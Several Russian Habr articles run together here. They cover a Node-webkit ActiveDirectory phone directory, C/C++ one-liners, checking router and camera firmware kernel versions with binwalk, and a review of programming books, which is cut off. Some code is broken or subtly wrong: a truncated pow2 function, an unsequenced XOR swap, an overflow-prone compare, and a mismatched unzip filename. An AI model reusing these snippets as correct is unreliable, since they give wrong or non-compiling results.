Но судьба была ко мне благосклонна — днём воскресенья ребёнок *решил поспать*. Жена, видимо вспомнив мои восторженные вопли о том, как крут node-webkit, и разгадав мои тайные желания, в ответ на вопрос „чем займёмся, пока дитё спит?“
ответила „ну ладно… иди уже программируй“
### Эпизод 1: Марш-бросок до прототипа
И так. У меня есть 1.5 — 2 часа на то что бы освоить новую технологию *(даже две, так как nodejs я тоже, по сути, не знал)* и написать с её помощью софт, который почему-то никто из опенсорс программистов до сих пор не написал.
Первым делом — спросил гугл насчёт связи nodejs с ActiveDirectory. Он подсказал целых два модуля: [node-activedirectory](https://github.com/gheeres/node-activedirectory) и [ldapjs](http://ldapjs.org/). Разбираться, что к чему времени не было, так что выбор пал на первый.**КОД**
```
var ActiveDirectory = require('activedirectory');
var ad = new ActiveDirectory('ldap://example.com', 'dc=example,dc=com', 'superadmin', 'pass');
var groupName = 'Employees';
ad.getUsersForGroup(groupName, function(err, users) {
if (err) {
console.log('ERROR: ' +JSON.stringify(err));
return;
}
if (! users) console.log('Group: ' + groupName + ' not found.');
else {
console.log(users);
}
});
```
Кстати насчёт
```
var groupName = 'Employees';
```
**EMPLOYEES** — группа в которую входят все текущие сотрудники
**РЕЗУЛЬТАТ**
```
ERROR: {"dn":"","code":49,"name":"InvalidCredentialsError","message":"80090308: LdapErr: DSID-0C0903A9, comment: AcceptSecurityContext error, data 52e, v1db0\u0000"}
```
мда....
Попытка потыкать второй модуль привела к тому же результату, но за большее время. Курение манов, пинание знакомого nodejs-ника и шальная удача таки дали результат: суперадмин домена почему-то не аутентифицируется, а вот бесправный юзверь, созданный ради гостевого интернета, — сработал!
> УРА
>
> 
Времени на разбирательства с правами нету — поехали дальше.
1. [git init](https://github.com/titulus/Telephone-Directory)
2. [Лицензия](https://ru.wikipedia.org/wiki/WTFPL)
3. грязный хак для дебаггинга
```
require('nw.gui').Window.get().showDevTools();
```
4. копипаст старого кода
> ВУАЛЯ
>
> 
Можно начинать творить магию… Но уже прошёл почти час. Ребёнок может проснуться в любую минуту. Нет времени на магию — берём всё готовое.
Быстрый гуглинг выдал на-гора отличный скрипт для работы с таблицей [TinyTable](http://www.scriptiny.com/2009/11/advanced-javascript-table-sorter/). Копипащу его целиком с примером к себе.
**Чуть чуть кода**
```
var ad = new ActiveDirectory(credentials.dn, credentials.dc, credentials.user, credentials.pass, {attributes: {user: [ 'cn', 'telephonenumber', 'mail' ]}}); // поменял эту строчку что бы доставало только ФИО телефон и мыло
function users2table (users) {
tablehtml = '';
for (i in users) {
var user = users[i];
console.log(user);
tablehtml+='|';
tablehtml+= ' '+user.cn+' |'
tablehtml+= ' '+user.telephoneNumber+' |'
tablehtml+= ' '+user.mail+' |'
tablehtml+='
'
}
console.log(tablehtml);
$('#table tbody').html(tablehtml);
sorter.init();
}
```
> ТАДАМ
>
> 
Из кроватки раздался радостный плачь.
### Эпизод 2: Утренний кофе
На часах **6:50** у меня примерно 20 минут…
1. Убираем адресную строку и называем окошко**package.json**
```
"window": {
"title": "Telephone Directory",
"toolbar": false
}
```
2. Автофокус на поле поиска**users2table**
```
$('#query').focus();
```
3. добавляем отдел в таблицу, *а точнее — забираем не что попало, а только ФИО, телефон, емэйл, отдел***Скрытый текст**
```
var ad = new ActiveDirectory(credentials.dn, credentials.dc, credentials.user, credentials.pass, {attributes: {user: [ 'cn', 'telephonenumber', 'mail', 'department']}});
```
```
tablehtml+= ' '+user.department+' |'
```
4. И раскрываем окно на весь экран, чтобы не париться по поводу размеров**Скрытый текст**
```
require('nw.gui').Window.get().maximize();
```
> Уже весьма неплохо
>
> 
Но уже **7:30** и мне пора бежать.
### Эпизод 3: Наводим марaфет
Во время обеда я снова вернулся к коду.
Первым делом добавил фичу, которую обдумывал всю дорогу на работу — кеширование. Ибо каждый раз ждать загрузки (пусть и всего несколько секунд) глядя на пустое окно — раздражает.
**КОД**в событие получения ответа от ldap поменял это:
```
users2table(users);
```
на это:
```
var localusers = localStorage.users;
var ldapusers = JSON.stringify(users);
if (localusers != ldapusers) {localStorage.users = JSON.stringify(users)} else {console.log('users didn\'t changed')};
users2table(JSON.parse(localStorage.users));
```
а так же добавил в пустое место в скрипте подгрузку с localstorage если не пустой
```
if (localStorage.users) users2table(JSON.parse(localStorage.users));
```
Пофиксил пару багов, причесал, добавил *mailto* ссылки для емейлов… В принципе всё.
> ГОТОВО!
>
> 
Как раз и обед закончился.
Но данный функционал уже полностью покрывает все мои планы, так что на этом я пока и остановился.
### Установка
1. поставьте [node-webkit](http://nwjs.io/)
2. скачайте [релиз](https://github.com/titulus/Telephone-Directory/releases)
3. поместите файл **private.js** **содержание**
```
module.exports = {
dn:"ldap://example.com"
,dc:"dc=example,dc=com"
,user:"user"
,pass:"pass"
};
```
4. запускайте
```
path\to\nodewebkit\nw.exe path\to\telephone-directory
```
### Распространение
1. Запакуйте каталог telephone-directory в .zip
2. Переименуйте архив в .nw
3. Немного магии
```
copy /b path\to\nodewebkit\nw.exe+path\to\telephone-directory telephone-directory.exe
```
4. докиньте все остальные файлы из node-webkit кроме nw.exe в каталог с telephone-directory.exe
Должно получиться так:
Всё — можно выкладывать на сетевой диск или распространять так, как вам вздумается
#### P.S.
Код писался впопыхах, так что не блещет красотой. Многие вещи можно и нужно дорабатывать. Но без помощи сообщества я вряд ли буду делать что-то большее чем то, что уже есть. Ибо то, что уже есть — работает и полностью удовлетворяет требованиям — а большего и не надо.
#### P.P.S.
Приложение рассчитано на контору с около 100 сотрудниками *(вроде той в которой я работаю)*. При меньшем количестве вряд ли используется AD. А при большем — может потребоваться какая-то оптимизация кода, но наверняка уже используется корп-портал или что-то подобное.
#### P.P.P.S.
Кода **45** строк, так что уверен, даже для сисадминов не знающих JS, подгонка проекта под свои нужды не составит труда. | https://habr.com/ru/post/251955/ | null | ru | null |
# Однострочники на С++
На хабе появилось несколько топиков об «однострочниках» на разных языках, которые решали простые задачи. Я решил опубликовать несколько алгоритмов на языке C/С++.
Итак, поехали!
#### 1. Алгоритм Евклида
Рекурсивный алгоритм нахождения наибольшего общего делителя.
```
int GCD(int a,int b) {
return b?GCD(b,a%b):a;
}
```
#### 2. Нахождение НОК
Рекурсивный алгоритм нахождения наименьшего общего кратного.
```
int LCM(int a,int b) {
return a/GCD(a,b) * b;
}
```
#### 3. Проверка числа 2^n
Алгоритм проверки числа на степень 2.
```
int isPow2(int a) {
return !(a&(a-1));
}
```
#### 4. Функция обмена двух переменных
Этот алгоритм работает при помощи свойства симметричного различия, которым обладает XOR и не требует наличия третей переменой.
```
void swap(int *a, int *b) {
*a ^= (*b ^= (*a ^= *b));
}
```
#### 5. Алгоритм возведения в степень
Степень числа за линейное время.
Условие окончания рекурсии: если степень числа равно 0, то a^0=1.
```
int pow(int a,int n) {
return (!n)?1:a*pow(a,n-1);
}
```
#### 6. Индийский алгоритм возведения в степень
Степень числа за логарифмическое время.
```
int powInd(int a,int n) {
return (!n)?1:((n&1)?a:1)*powInd(a*a,n/2);
}
```
#### 7. Факториал числа
Факториал целого неотрицательного числа n.
Условие продолжения рекурсии: факториал ето произведение всех натуральных чисел до n включительно.
Условие окончания рекурсии: если число равно 0, то 0!=1.
```
int fac(int n) {
return n?n*fac(n-1):1;
}
```
#### 8. Сумма цифр числа
Условие продолжения рекурсии: сума цифр числа равна последней цифре плюс сума цифр числа без последней цифры.
Условие окончания рекурсии: если число равно 0, то и сума цифр равна 0.
```
int count(int a) {
return (!a)?0:(a%10+count(a/10));
}
```
#### 9. Числа Фибоначчи
Числа Фибоначчи — элементы числовой последовательности в которой каждое последующее число равно сумме двух предыдущих чисел.
```
int fib(int n) {
return (n<=2)?1:(fib(n-1)+fib(n-2));
}
```
#### 10. Следующее число Фибоначчи
Функция нахождения чисел Фибоначчи.
```
int fibNext(int &f1,int &f2) {
return f1=(f2+=f1)-f1;
}
```
#### 11. Числа Мерсенна
Числа Мерсе́нна — числа вида 
```
int Mersen(int n) {
return !(n&(n+1));
}
```
#### 12. Min & Max
```
int max(int a,int b) {
return (a>b)?a:b;
}
int min(int a,int b) {
return (a>b)?b:a;
}
```
#### 13. Сравнение двух чисел
Функция возвращает значение разницы между двумя числами, поэтому если разница больше 0, то число a больше b, если равна 0, то числа одинаковы, иначе число a меньше b.
```
template
int compare (const TYPE a, const TYPE b){
return ( a - b );
}
```
#### 14. Возведение числа 2 в степень n
C помощью сдвига единицы на n битов ми вычислим двойку в степени n.
```
int pow2(int n) {
return 1<
```
#### Однострочники из коментов
##### Нахождение НОК от [Lertmind](http://habrahabr.ru/users/lertmind/)
```
int lcm(int a, int b) {
return (b < 1 ? (b ? lcm(b, a % b) : a) : (a / -lcm(-b, -a % b) * b));
}
```
##### Число ненулевых битов в числе от [Mrrl](http://habrahabr.ru/users/mrrl/)
```
int NBit(unsigned int x){
return x==0 ? 0 : (x&1)+NBit(x>>1);
}
```
##### Максимальная степень двойки, на которую делится n от [Mrrl](http://habrahabr.ru/users/mrrl/)
```
int MaxDivPow2(int n){
return n&-n;
}
```
##### Сравнение двух чисел от [Lertmind](http://habrahabr.ru/users/lertmind/)
```
int cmp(int a, int b) {
return (a < b ? -1 : (a > b ? 1 : 0));
}
```
или шаблон
```
template
int cmp(const T &a, const T &b) {
return (a < b ? -1 : a > b);
}
```
##### Найти k-й бит в массиве int \* (считая, что sizeof(int)==4) от [Mrrl](http://habrahabr.ru/users/mrrl/)
```
int GetBit(int *a,int k){
return (a[k>>5]>>(k&31))&1;
}
```
Жду ещё алгоритмов в коментах… | https://habr.com/ru/post/146793/ | null | ru | null |
# Доверяй, но проверяй
[](https://habr.com/ru/company/ruvds/blog/708296/)
Не так давно я считал, что обновление программного обеспечения от производителя на роутерах и подобных им «железках» обязательно, и переход на новую стабильную версию гарантирует временную безопасность. Почитав в интернете мнения пользователей, которые с этим не согласны и были очень убедительны, мои розовые очки разбились, радужных единорогов я больше не увижу, и жизнь стала не такой простой как была. Оказалось, новые прошивки, скачанные у официального производителя «железки», можно считать устаревшими. За точку входа в эту тему предлагаю взять переведённую [статью](https://habr.com/ru/post/487406/). Помимо интересной и полезной информации о том, как вскрывать бинарники, автор утверждает, что если заглянуть в прошивку, можно обнаружить устаревшую версию ядра Linux. Я решил всё-таки проверить этот довод самостоятельно и вставить свои дилетантские «15 копеек». Заодно провести разведку в области, где я ещё не бывал. Для удовлетворения интереса будет достаточным определить версию ядра прошивки. На время написания статьи последняя версия ядра [kernel](https://www.kernel.org/) — 6.0.9 от 16.11.2022. Вскрыть и выгрузить прошивку из приборов, которые описаны в статье, у меня не было возможности. Поэтому воспользуюсь прошивками, скачанными с сайта производителя.
▍ NTP-RG-1402G-W
----------------
Первый претендент на вскрытие — абонентский маршрутизатор NTP-RG-1402G-W от ELTEX. На момент написания статьи серийный выпуск данной модели был завершён, но поддержка осуществляется. Поэтому прошивка должна быть свежая. Ссылку на скачивание прошивки можно найти [здесь](https://eltex-co.ru/catalog/ont-gpon/ntp-rg-1402g-w/?sphrase_id=482212). Мне досталась последняя версия прошивки в версии v3.25.5.165.
Скачиваю и распаковываю:
```
wget https://eltex-co.ru/upload/iblock/504/ntp-rg-revc-3.25.5.165.fw.zip
&& unzip ntp-rg-revc-3.25.5.165.fw.zip
&& rm ntp-rg-revc-3.25.5.165.fw.zip
```
Если заглянуть внутрь файла, то можно увидеть метку ELTX — перечисление версий модели, для которых подходит эта прошивка.
Далее поможет полезный инструмент binwalk, о котором я узнал в процессе изучения текущей темы. На русском лично мне понравилось подробное описание сего чуда [здесь](https://kali.tools/?p=6771). Для тех, у кого нет проблем с английским, будет предпочтительней разобраться с ним из [первоисточника](https://github.com/ReFirmLabs/binwalk).
Спросить у binwalk сведения о файле можно следующим способом.
```
binwalk ntp-rg-revc-3.25.5.165.fw.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1043 0x413 JFFS2 filesystem, big endian
```
Этой информации достаточно, чтобы понять, что файловая система бинарника JFFS2.
Вот что говорит об этом Wikipedia: JFFS2 (Journaling Flash File System version 2 — «Журналируемая файловая система версии 2») — структурированная файловая система, используемая в устройствах флеш-памяти. JFFS2 был включён в ядро Linux, начиная с версии 2.4.10 от 23 сентября 2001 года. JFFS2 также поддерживает несколько загрузчиков операционной системы, таких как Das U-Boot, Open Firmware, eCos RTOS и RedBoot. Также JFFS2 используется в OpenWrt.
Чтобы с этим разобраться, понадобится пакет mtdutils:
```
sudo apt-get install mtd-utils
```
Перед конвертацией необходимо избавиться от заголовка, который уже рассматривали на [картинке](#image1).
```
binwalk -Me ntp-rg-revc-3.25.5.165.fw.bin
```
У меня появилась папка с названием «\_ntp-rg-revc-3.25.5.165.fw.bin.extracted», в ней лежит файл 413.jffs2. Его уже можно конвертировать.
```
jffs2dump -b -eimage.bin 413.jffs2
Wrong bitmask at 0x01047f80, 0x0000
Wrong bitmask at 0x01047f84, 0x0000
Wrong bitmask at 0x01047f88, 0x0000
Wrong bitmask at 0x01047f8c, 0x0000
Wrong bitmask at 0x01047f90, 0x0000
Wrong bitmask at 0x01047f94, 0x0000
Wrong bitmask at 0x01047f98, 0x0000
Wrong bitmask at 0x01047f9c, 0x0000
Wrong bitmask at 0x01047fa0, 0x0000
Wrong bitmask at 0x01047fa4, 0x0000
Wrong bitmask at 0x01047fa8, 0x0000
```
Исправить неприятность «Wrong bitmask» предлагают [так](https://github.com/project-magpie/jffs2dump).
Дальше монтируем образ и добираемся до данных.
```
mkdir mount_dir
sudo modprobe mtdram total_size=24576 erase_size=128
sudo modprobe mtdblock
sudo dd if=image.bin of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 mount_dir
```
На этом этапе уже можно определить версию linux, заглянув в каталог lib/modules/2.6.30. Если посмотреть на дату модификации всех файлов образа, то можно предположить, что сформирована эта прошивка 17.08.2020. Но для уверенности лучше заглянуть в ядро.
```
binwalk -Me vmlinux.lz
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2220124 0x21E05C Certificate in DER format (x509 v3), header length: 4, sequence length:4
3035152 0x2E5010 Linux kernel version 2.6.30
3112032 0x2F7C60 DES SP2, big endian
3112544 0x2F7E60 DES SP1, big endian
3137904 0x2FE170 CRC32 polynomial table, little endian
3155688 0x3026E8 CRC32 polynomial table, big endian
3544627 0x361633 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
```
Linux kernel version 2.6.30 соответствует каталогу с модулями lib/modules/2.6.30. Там же можно найти дату выпуска версии — [2.6.30](https://cdn.kernel.org/pub/linux/kernel/v2.6/), которая обозначена как 10.06.2009.
После распаковки данных binwalk оставил файл с именем «C». Если выполнить следующую команду, можно получить немного больше информации, например версию компилятора, и не гадать с датой сборки прошивки.
```
strings C | grep "Linux version"
Linux version 2.6.30 (user@86671791164b) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Mon
Aug 17 12:49:01 NOVT 2020
```
Всё сходится, прошивка была собрана чуть больше двух лет назад.
▍ M4300-52G-PoE+ (GSM4352PB)
----------------------------
В этом случае рассмотрим прошивку на коммутатор от NETGEAR, M4300-52G-PoE+ (GSM4352PB).
```
wget https://www.downloads.netgear.com/files/GDC/M4300/GSM_XSM4300_V12.0.17.10.zip
&& unzip GSM_XSM4300_V12.0.17.10.zip
&& rm GSM_XSM4300_V12.0.17.10.zip
```
Появится файл с именем m4300v12.0.17.10.stk. Посмотрим, что представляет из себя этот файл.
```
binwalk m4300v12.0.17.10.stk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
116 0x74 Flattened device tree, size: 43857977 bytes, version: 17 344 0x158 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
2044644 0x1F32E4 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size:
-1 bytes
4334548 0x4223D4 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size:
-1 bytes
6785752 0x678AD8 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size:
-1 bytes
9044804 0x8A0344 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size:
-1 bytes
11303856 0xAC7BB0 gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
38409620 0x24A1594 Zlib compressed data, compressed
42333777 0x285F651 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
42333901 0x285F6CD Certificate in DER format (x509 v3), header length: 4, sequence length: 1288
42458920 0x287DF28 CRC32 polynomial table, little endian
42462540 0x287ED4C CRC32 polynomial table, little endian
42464208 0x287F3D0 LZO compressed data
42521356 0x288D30C gzip compressed data, maximum compression, from Unix, last modified: 2013-04-09
21:31:53
43046116 0x290D4E4 CRC32 polynomial table, little endian
43053216 0x290F0A0 CRC32 polynomial table, little endian
43054884 0x290F724 LZO compressed data
43134420 0x2922DD4 gzip compressed data, maximum compression, from Unix, last modified: 2013-04-09
21:31:53
43721552 0x29B2350 CRC32 polynomial table, little endian
43728716 0x29B3F4C CRC32 polynomial table, little endian
43730384 0x29B45D0 LZO compressed data
43812756 0x29C8794 gzip compressed data, maximum compression, from Unix, last modified: 2013-04-09 21:31:53
43855988 0x29D3074 Executable script, shebang: "/bin/sh"
```
Много информации. Похоже на то, что в этом бинарнике находятся файлы с разными типами сжатия. Предоставим с этим разобраться binwalk.
```
binwalk -Me m4300v12.0.17.10.stk
```
После распаковки появилось шесть каталогов и несколько бинарников. С помощью binwalk удалось найти версию ядра в трёх файлах:
binwalk 1F32E4: Linux kernel version 3.6.5
binwalk 158: Linux kernel version 3.6.5
binwalk 4223D4: Linux kernel version 3.6.5
Версию компилятора можно определить, например, вот так:
```
strings _m4300v12.0.17.10.stk.extracted/_8A0344.extracted/cpio-root/lib |grep GCC
GCC: (Broadcom Linux 3.6) 4.8.2
```
▍ ASUS RT-AX55
--------------
Двухдиапазонный беспроводной маршрутизатор от ASUS, RT-AX55.
```
wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX55/FW_RT-AX55_300438650460.zip
&& unzip GSM_XSM4300_V12.0.17.10.zip
&& rm GSM_XSM4300_V12.0.17.10.zip
binwalk -Me RT-AX55_combo_3.0.0.4_386_50460-g5174ed0_puresqubi.w
```
Появится каталог «\_RT-AX55\_combo\_3.0.0.4\_386\_50460-g5174ed0\_puresqubi.w.extracted», и если заглянуть сюда «squashfs-root/lib/modules/», можно увидеть каталог с именем версии ядра. У меня он 4.19.183.
▍ Dahua DH\_IPC-HX2X4X
----------------------
Для разнообразия можно рассмотреть регистратор фирмы Dahua. Название прошивки — DH\_IPC-HX2X4X-Taylor\_MultiLang\_PN\_V2.840.0000000.7.R.221110. В этом случае бинарник можно
распаковать с помощью zip-архиватора.
```
unzip DH_IPC-HX2X4X-Taylor_MultiLang_PN_V2.840.0000000.7.R.221110.bin
Archive: DH_IPC-HX2X4X-Taylor_MultiLang_PN_V2.840.0000000.7.R.221110.bin
file #1: bad zipfile offset (local header sig): 0
inflating: Install
inflating: kernel.img
inflating: dhboot.bin.img
inflating: dhboot-min.bin.img
inflating: romfs-x.squashfs.img
inflating: web-x.squashfs.img
inflating: dhdtb.bin.img
inflating: partition-x.cramfs.img
inflating: check.img
extracting: sign.img
```
Чтобы определить ядро прошивки, на данном этапе достаточно применить binwalk.
```
binwalk kernel.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x6F27594A, created: 2022-11-10 13:43:13,
image size: 2313680 bytes, Data Address: 0x1D00000, Entry Point: 0x2300000, data CRC: 0x47CC5A2D,
OS: Linux, CPU: ARM, image type: Firmware Image, compression type: none, image name: "kernel"
64 0x40 uImage header, header size: 64 bytes, header CRC: 0x359DB3A3, created: 2022-10-28 04:08:13,
image size: 2309152 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xFAC624BD, OS:
Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-4.19.91"
128 0x80 Linux kernel ARM boot executable zImage (little-endian)
18432 0x4800 LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed
size: -1 bytes
2311536 0x234570 uImage header, header size: 64 bytes, header CRC: 0x3C52A920, created:
2022-11-10 13:43:13, image size: 2311448 bytes, Data Address: 0x1D00000, Entry Point: 0x2300000,
data CRC: 0xBDDC7DE8, OS: Linux, CPU: ARM, image type: Firmware Image, compression type: none,
image name: "kernel"
```
Версия ядра у этой прошивки — Linux-4.19.91, создана 28.10.2022.
▍ Личное мнение
---------------
С первого взгляда может показаться, что все производители оборудования не заботятся об обновлении ядра, и поэтому уровень безопасности остаётся неизменным. Я считаю, что дело обстоит следующим образом:
* все дыры в безопасности закрываются с помощью правки ядра, но при этом меняется не версия ядра, а версия прошивки;
* чтобы поменять версию ядра, необходимо под эту версию исправить пусть не все, но некоторые части модулей. А это уже дополнительные расходы времени и денег;
* после перевода модулей на новую версию есть риски появления новых багов и уязвимостей в безопасности;
* ядро поддерживает аппаратную часть, которую нецелесообразно менять;
* устаревшие модели оборудования понемногу выводят из поддержки, и из-за того, что основные ресурсы направляют на более новые продукты, обновления выходят реже.
Конечно, было бы правильнее спросить у самих производителей, что я и сделал. Но ни один из них не ответил на моё письмо. Ещё бы, кто я такой — обычный пользователь. Так что придётся жить в догадках и относиться с недоверием к разработчикам, которые скрывают исходники, а так и до паранойи недалеко.
▍ Итог
------
В итоге — что мы имеем, и как с этим жить. Не думаю, что стоит паниковать из-за старой версии ядра. А вот если последняя версия прошивки собрана года два назад (что не всегда можно выявить), то следует искать другие способы обновления. Например, такие:
* купить самое новое оборудование;
* выбрать прошивку с открытым исходным кодом.
Лучше всех дела обстоят с роутерами. В подавляющих случаях покупать прибор не целесообразно. А вот прошивка с открытым исходным кодом подойдёт. Главное не превратить прибор в кирпич.
Автор статьи, которую я упоминал в начале, предлагает OpenWrt, есть и другие варианты прошивок. Также можно выбрать роутер с открытым исходным кодом (если бы все производители делали именно так). Я слышал о двух таких, это [MikroTik](https://mikrotik.com/) ([github](https://github.com/topics/mikrotik)) и [Turris Omnia](https://www.turris.com/en/) ([github](https://github.com/turris-cz)). В остальных случаях «кушаем», что дают.
> **[Играй в нашу новую игру прямо в Telegram!](https://t.me/ruvds_community/130)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Tolsedum&utm_content=doveryaj_no_proveryaj) | https://habr.com/ru/post/708296/ | null | ru | null |
# Профессиональная литература для разработчиков: Роберт Мартин, Эрик Эванс, Вон Вернон
Наша компания постоянно проводит митапы для сотрудников: на них мы делимся опытом, интересными фишками – и прочитанными нами книгами. Недавно наш ведущий разработчик Максим Лядов рассказал о том, какие книги он может порекомендовать своим коллегам. С его согласия мы публикуем статью, основанную на его обзоре.
*Рассказывает Максим Лядов, ведущий разработчик DD Planet*
Обзор книг, которые помогли мне иначе взглянуть на привычные в разработке вещи. Рекомендую к прочтению всем, кто хочет не просто писать код, а понимать причины и цели каждого выбранного решения.
* [«Идеальный программист», Роберт Мартин](#1)
* [«Чистый код: создание, анализ, рефакторинг», Роберт Мартин](#2)
* [«Чистая Архитектура. Искусство разработки программного обеспечения», Роберт Мартин](#3)
* [«Предметно-ориентированное проектирование, структуризация сложных программных систем», Эрик Эванс](#4)
* [«Реализация методов предметно-ориентированного проектирования», Вон Вернон](#5)
Книги или интернет?
-------------------
Я начал знакомиться с профлитературой по программированию ещё в школьные годы. Тогда были популярны учебники по конкретным инструментам, например, по C++, PHP или IDE. Такие мануалы были полезны junior-разработчикам, так как в любой сложной ситуации на страницах можно найти решение и ответ на вопрос: как реализовать запрос, нотацию, найти функцию, метод. Но в современном мире потребности в таких книгах практически нет, так как их заменили тематические интернет-сообщества.
Как правило, пользователи форумов пишут о личном опыте: «Вот я делаю так», «Так правильнее». Можно найти ответы и в статьях, вроде «Что использовать: RabbitMQ или Kafka?». Кстати, очень важно читать комментарии, так как они бывают ценнее и информативнее статей.
Но когда дело касается более концептуальных вопросов — как правильно делать? — становится сложнее. Я как-то задумался, как обозначать DTO-объект (Data Transfer Object)? Стоит ли в конце писать `UserDto` или `UserData`. Прочитал много противоположных мнений, стал копать дальше и пришёл к логичному объяснению. Окончание в названии класса может показывать цель его существования: `Repository, Factory, Command, Event`. А `Dto/Data` может иметь самые разные целевые реализации, поэтому окончание следует добавлять не всегда, а в зависимости от обстоятельств.
> **На фундаментальные вопросы невозможно ответить готовым решением, нужно понимать, почему выбран тот или иной подход.**
>
>
Как правильно проектировать, какая структура программы должна быть, где разделяется на компоненты, на какие уровни, как называть классы, как их лучше сопоставлять, как организовать… В интернете по теме можно найти только обрывочную информацию, которую придется собирать как мозаику. А профессиональная литература как раз позволяет получить и структурировать важные вопросы по архитектуре, делопроизводству, разработке ПО. Книги помогают прояснить картину и расставить точки над i — как все-таки правильно и почему.
**Роберт Мартин
"Идеальный программист"**
*Какие soft skills должны быть у программиста и как их развивать*Программирование — относительно молодая специальность в рамках нашей цивилизации, появилась в XX веке. Когда 15-20 лет назад у людей спрашивали, кто такие программисты, первым на ум приходило клише из анекдотов — гики, которые круглосуточно сидят онлайн и даже отдыхают за компьютером. Тогда программистов считали своего рода фриками, и работодатели относились к этому снисходительно — мол, странный, зато помогает решать наши бизнес-задачи.
Но времена меняются, индустрия стремительно развивается, большую роль сыграла информатизация — и такой образ уже совершенно не соответствует реальности. Требования к разработчикам ровно такие же, как к экономистам, инженерам или менеджерам. Книга «Идеальный программист» позволяет понять, какими качествами должен обладать профессионал и как себя вести. Автор уделяет больше всего внимания ответственности, коммуникабельности, проводит небольшой ликбез по психологии и оценке персонала.
Важный момент, постоянно встречающийся в реальной жизни, — неумение корректно говорить «да» и «нет». Нельзя обещать то, что ты не выполнишь. Наверное, у каждого был такой диалог с менеджером проекта:
* Сколько займёт эта задача?
* Неделю.
* Надо успеть за два дня.
В таком случае важно сказать «нет». Представьте, вы приходите к врачу и говорите «У меня мало времени, давайте не будем делать подготовку к операции, а сразу разрежем и зашьем». Если он согласится, то придётся привлечь его к ответственности, это не вызывает вопросов.
Когда программистам предлагают заведомо невыполнимые условия и они соглашаются, начинается, мягко говоря, «некачественный код», который ведет к печальным последствиям. Профессионал в первую очередь отвечает за качество работы и должен объективно оценивать сроки.
Автор приводит и обратный пример: как говорить «да». Например, клиент указал срок — задачу нужно выполнить за неделю. Менеджер оценивает её по часам и озвучивает, что это невозможно, всё, расходимся. В таком случае разработчик должен выделить главное: как решить бизнес-задачу заказчика? Часто бывает, что в задаче много дополнений, не критически важных на текущий момент, а главную бизнес-задачу можно сделать за два дня.
Я встречал разных разработчиков: «Что мне сказали, то я и сделал», «Мне не написали», «Я ничего не знаю», «Менеджер тут не отметил галочкой». Люди стараются снять с себя ответственность, разумеется, так нельзя.
> **Обязанность любого профессионала — всё выяснить и решить конкретную бизнес-задачу.**
>
>
В книге правильный взгляд, как должен учиться и развиваться разработчик. Способность учиться важно тренировать, как мышцы. Иногда встречаю закостенелых разработчиков, которые 10 лет делают одно и то же.
Также некоторые думают: «Компания должна меня научить». Работодатель никому ничего не должен, профессионал сам себя развивает. Тут тоже как со спортом: одни ищут способы, другие — оправдания. Если совсем нет времени, удобно, например, читать в метро. К этому настолько привыкаешь, что в телефоне сидеть уже не интересно.
Что еще полезного в книге? Много моментов по написанию кода и его тестированию, как проводится отладка, что такое творческий кризис, отставание от графика, как «надежда, спешка, сверхурочные», влияют на нашу работу. Как заниматься планированием, проводить оценку проекта, какие есть методологии: широкополосный дельфийский метод, Birt, метод быстрого голосования, Покер планирование.
Роберт Мартин — известный программист со стажем, реализовал огромное число проектов. В книге много примеров из реальной жизни, очень узнаваемых вплоть до конкретных проектов, людей, и, самое интересное, видишь в них себя.
**Роберт Мартин
"Чистый код: создание, анализ, рефакторинг"***Матчасть по написанию кода: как сделать его логичным и понятным для дальнейшей поддержки*
Книга о низкоуровневом программировании будет интересна опытным специалистам. Автор даёт обоснование многим вещам, до которых я, например, хоть и дошел самостоятельно в профессиональной деятельности, но никогда не задумывался, почему это работает именно так.
Как правильно называть функции, классы, методы, переменные, какие должны быть блоки, отступы.
Какой размер функций, какое количество строк кода в них должно быть, как их разбивать. Всё это также касается и классов. Иной раз я задумываюсь, как расположить методы в классе, в каком порядке. В книге очень хорошо описано, как и, главное, почему. Я начал так делать, и действительно стало удобнее.
Автор уделил много внимания принципам solid. Принципы сформулировали разные программисты в разное время, они, можно сказать, эволюционировали, а потом из них сделали аббревиатуру. Доступно описаны объекты и структуры данных.
Один из принципов solid — это принцип открытости/закрытости. На любом доступном ресурсе на эту тему опубликованы примеры про switch-case и полиморфизм. Но здесь другой подход, ведь полиморфизм — не всегда лучший выбор, и его не везде можно использовать.
Интересно было читать про комментарии: должны ли быть в коде комментарии и какие? Как говорит автор, хороший комментарий — тот, который не нужен. Нужны ли комментарии, которые генерируются нашими IDE?
Автор на практике производит рефакторинг: построчно разбирает программу, объясняет ошибки. На примерах объясняет, когда использовать конструкции try…catch, exception, в чём опасность возвращать null, как формировать архитектуру в общем виде. Большая глава посвящена многопоточности.
В конце книги есть чек-лист по всем изученным правилам. Очень полезно для Code review. Можно взять любой код, пулреквест и проверить по списку. Например, комментарии: неуместная информация, устаревший комментарий, избыточный комментарий, плохо написанный комментарий, закомментированный код.
Книга «Чистый код» формирует ценности, каким должен быть код, программирование, архитектура. Но сквозь всю книгу автор пытается донести идею:
> **В программировании нет золотых правил и универсальных формул, не существует идеальной архитектуры. Всё всегда зависит от обстоятельств — человек должен думать и подбирать решение в зависимости от ситуации.**
>
>
